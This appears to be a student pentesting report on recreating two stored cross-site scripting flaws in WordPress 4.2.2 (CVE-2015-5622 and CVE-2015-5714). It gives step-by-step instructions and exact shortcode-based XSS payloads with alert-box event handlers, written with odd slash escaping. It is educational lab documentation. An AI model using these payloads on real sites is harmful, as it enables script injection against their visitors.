/RecreatingWordPressExploits

RecreatingWordPressExploits

Project 7 - WordPress Pentesting

Time spent: 8 hours spent in total

Objective: Find, analyze, recreate, and document five vulnerabilities affecting an old version of WordPress

Pentesting Report

  1. (Required) Authenticated Stored Cross-Site Scripting (XSS) CVE ID: CVE-2015-5622

  • Summary:

    • Vulnerability types: Cross-Site Scripting (XSS)
    • Tested in version: 4.2.2
    • Fixed in version: 4.2.3

  • GIF Walkthrough: Video Walkthrough

  • Steps to recreate: Create a new post,

    In text editor, type '<a href=/"[caption code=/">]</a><a title=/" onmouseover=alert(/'hacked/') /">link</a>',

create post,

view post and hover on link

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  1. (Required) Authenticated Shortcode Tags Cross-Site Scripting (XSS) or CVE-2015-5714

  • Summary:

    • Vulnerability types: Cross-Site Scripting (XSS)
    • Tested in version: 4.2.2
    • Fixed in version: 4.3.1

  • GIF Walkthrough: Video Walkthrough

  • Steps to recreate: Create new post,

    In text editor, type 'TEST!!![caption width=/"1/" caption=/'<a href=/"/' /">]</a><a href=/"http:////onMouseOver=/'alert(1)/'/">Click me</a>',

create post,

view post and hover on link
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